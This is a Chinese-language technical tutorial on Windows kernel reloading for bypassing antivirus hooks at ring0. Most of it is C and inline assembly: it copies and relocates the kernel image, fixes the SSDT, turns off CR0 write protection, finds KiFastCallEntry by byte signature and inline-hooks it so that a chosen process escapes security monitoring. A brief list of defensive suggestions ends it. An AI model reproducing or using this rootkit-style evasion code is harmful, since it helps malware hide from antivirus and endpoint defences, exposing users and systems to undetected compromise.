ring0下通过内核重载绕过杀软hook
字数 1052 2025-08-07 08:22:31
内核重载技术详解:绕过杀软Hook的Ring0级攻防
0x00 技术背景与原理
内核重载技术概述
内核重载是一种通过复制并修改内核代码来绕过安全软件监控的高级技术。其核心原理是创建一份内核副本,使程序执行流程转向这份副本,从而规避对原始内核的监控。
杀软监控机制分析
-
Ring3层监控:
- 通过Hook ntdll.dll中的关键函数
- 监控int2e/sysenter(syscall)调用
-
Ring0层监控:
- 在KiSystemService/KiFastCallEntry挂载钩子
- 监控SSDT表访问
- 以某数字杀软为例,在804de978处修改jmp指令实现监控
0x01 技术实现流程
整体实现思路
- 内核PE文件拉伸
- 重定位表修复
- SSDT表修复
- KiFastCallEntry Hook
- 多核环境处理
0x02 PE拉伸与重定位修复
文件操作基础
// 文件操作关键函数
VOID OpenFile(PHANDLE phFile, PUNICODE_STRING DllName);
ULONG GetFileSize(HANDLE hFile);
VOID ReadFile(HANDLE hFile, CHAR* Buffer, ULONG readSize);
PE拉伸实现步骤
-
PE文件验证:
- 检查"MZ"标志(0x5A4D)
- 检查"PE"标志(0x4550)
-
关键参数获取:
ULONG SizeOfImage = *(PULONG)(NTHeader + 0x50); ULONG SizeOfHeaders = *(PULONG)(NTHeader + 0x54); -
内存分配与校验:
PUCHAR szBufferSize = ExAllocatePool(NonPagedPool, SizeOfImage); if(!MmIsAddressValid(szBufferSize)) // 内存权限检查 -
节表拷贝:
for(int i=0; i<SectionNumber; i++){ ULONG PointerToRawData = *(PULONG)(pSectionBaseAddr + 0x14); ULONG SizeOfRawData = *(PULONG)(pSectionBaseAddr + 0x10); ULONG VirtualAddress = *(PULONG)(pSectionBaseAddr + 0xC); RtlCopyMemory(szBufferSize + VirtualAddress, szBuffer + PointerToRawData, SizeOfRawData); pSectionBaseAddr += 0x28; // 下一个节 }
重定位表修复
-
重定位表结构:
typedef struct _IMAGE_BASE_RELOCATION{ DWORD VirtualAddress; DWORD SizeOfBlock; } IMAGE_BASE_RELOCATION; -
修复算法:
while(KernelBaseRelocation->SizeOfBlock != 0 && KernelBaseRelocation->VirtualAddress != 0){ NumberOfModify = (KernelBaseRelocation->SizeOfBlock - 8)/2; BaseAddr = (PSHORT)((ULONG)KernelBaseRelocation + 8); while(NumberOfModify--){ Base = *BaseAddr; if(*BaseAddr>>12 == 3){ // 判断高4位是否为3 Base = Base & 0x0FFF; // 清除属性位 PULONG AddOfModify = (PULONG)(NewKernelImageBase + KernelBaseRelocation->VirtualAddress + Base); *AddOfModify = *AddOfModify - KernelNtHeaders->OptionalHeader.ImageBase + (ULONG)OldKernelImageBase; } BaseAddr++; } KernelBaseRelocation = (PIMAGE_BASE_RELOCATION)((ULONG)KernelBaseRelocation + KernelBaseRelocation->SizeOfBlock); }
0x03 SSDT表修复
SSDT结构分析
typedef struct _SystemServiceTable{
PULONG ServiceTableBase; // SSDT基址
PULONG ServiceCounterTableBase;
ULONG NumberOfServices; // 服务个数
PUCHAR ParamTableBase; // 参数表基址
} SystemServiceTable, *PSystemServiceTable;
修复实现
-
计算偏移:
LONG Offset = (LONG)NewKernelBaseAddr - (LONG)KernelBaseAddr; -
新SSDT定位:
PSystemServiceTable NewKeServiceTable = (PSystemServiceTable)((ULONG)KeServiceTable + Offset); -
关键表修复:
NewKeServiceTable->FunctionsAddrTable = (PULONG)((ULONG)KeServiceTable->FunctionsAddrTable + Offset); NewKeServiceTable->FunctionsArgsAddrTable = (PUCHAR)(KeServiceTable->FunctionsArgsAddrTable + Offset); NewKeServiceTable->FunctionsLimit = KeServiceTable->FunctionsLimit; -
函数地址修复:
for(ULONG i=0; i<NewKeServiceTable->FunctionsLimit; i++){ NewKeServiceTable->FunctionsAddrTable[i] += Offset; }
0x04 KiFastCallEntry Hook
关键函数实现
-
进程过滤函数:
LONG FilterFunc(ULONG ServiceTableBase,ULONG FuncIndex,ULONG OrigFuncAddress){ if(ServiceTableBase==(ULONG)KeServiceDescriptorTable.ServiceTableBase){ if(!strcmp((char*)PsGetCurrentProcess()+0x174, "notepad.exe")){ return pNewSSDT->ServiceTableBase[FuncIndex]; } } return OrigFuncAddress; } -
汇编跳转函数:
VOID __declspec(naked) MyFunction(){ __asm{ pushad pushfd push ebx push eax push edi call FilterFunc mov dword ptr ss:[esp+0x14], eax popfd popad sub esp, ecx shr ecx, 2 jmp RetAddr } }
内存保护修改
// 关闭页只读保护
void _declspec(naked) ShutPageProtect(){
__asm{
push eax;
mov eax, cr0;
and eax, ~0x10000;
mov cr0, eax;
pop eax;
ret;
}
}
// 开启页只读保护
void _declspec(naked) OpenPageProtect(){
__asm{
push eax;
mov eax, cr0;
or eax, 0x10000;
mov cr0, eax;
pop eax;
ret;
}
}
特征码定位与Hook
-
特征码定义:
UCHAR shell1[] = {0x2B, 0xE1, 0xC1, 0xE9, 0x02}; // sub esp,ecx; shr ecx,2 UCHAR shell2[] = {0x8B, 0x1C, 0x87}; // mov ebx,[edi+eax*4] -
特征码搜索:
while(OldKernelSizeOfImage2--){ if(FALSE == MyCompareString(shell1, OldKernelImageBase2, 5)){ OldKernelImageBase2++; }else{ OldKernelImageBase2 = OldKernelImageBase2 - 3; if(FALSE == MyCompareString(shell2, OldKernelImageBase2, 3)){ OldKernelImageBase2 = OldKernelImageBase2 + 4; continue; }else{ HookAddr = (ULONG)OldKernelImageBase2 + 3; break; } } } -
Inline Hook实现:
void HookKiFastCallEntry(){ UCHAR jmp_code[5]; jmp_code[0]= 0xe9; *(ULONG*)&jmp_code[1]=(ULONG)MyKiFastCallEntry-5-hookaddr; RetAd = hookaddr + 5; ShutPageProtect(); RtlCopyMemory((PVOID)addr_hookaddr,jmp_code,5); OpenPageProtect(); }
0x05 驱动卸载处理
多核环境安全恢复
VOID __declspec(naked) _fastcall HookFunction(ULONG destination, ULONG exchange, ULONG compare){
__asm{
push ebx
push ebp
mov ebp, ecx // destination = ebp
mov ebx, [edx] // exchange低4字节
mov ecx, [edx+4] // exchange高4字节
mov edx, [esp+8+4] // compare给edx
mov eax, [edx]
mov edx, [edx+4]
lock cmpxchg8b qword ptr[ebp]
pop ebp
pop ebx
retn 4
}
}
0x06 技术验证与效果
验证方法
- 对比Hook前后的KiFastCallEntry代码
- 检查Hook地址是否正确(如80542605)
- 验证自定义函数是否被正确调用
- 通过SSDT Hook验证进程隐藏效果
预期效果
- 特定进程(如notepad.exe)的行为将绕过杀软监控
- 原始内核代码保持不变
- 监控工具无法检测到重载内核的执行
技术要点总结
- PE文件操作:准确解析和重构内核PE结构
- 内存管理:正确处理非分页内存和内存权限
- 多核同步:使用原子操作保证多核环境下的安全性
- 特征码定位:精确识别关键函数位置
- 执行流控制:无缝切换原始和重载内核的执行路径
防御建议
- 检测内存异常:监控非分页内存的异常分配
- 校验内核完整性:定期检查关键内核代码段
- 多核同步监控:检测异常的跨核操作
- 行为分析:识别异常的SSDT访问模式
- 硬件辅助:利用VT-x等技术增强监控能力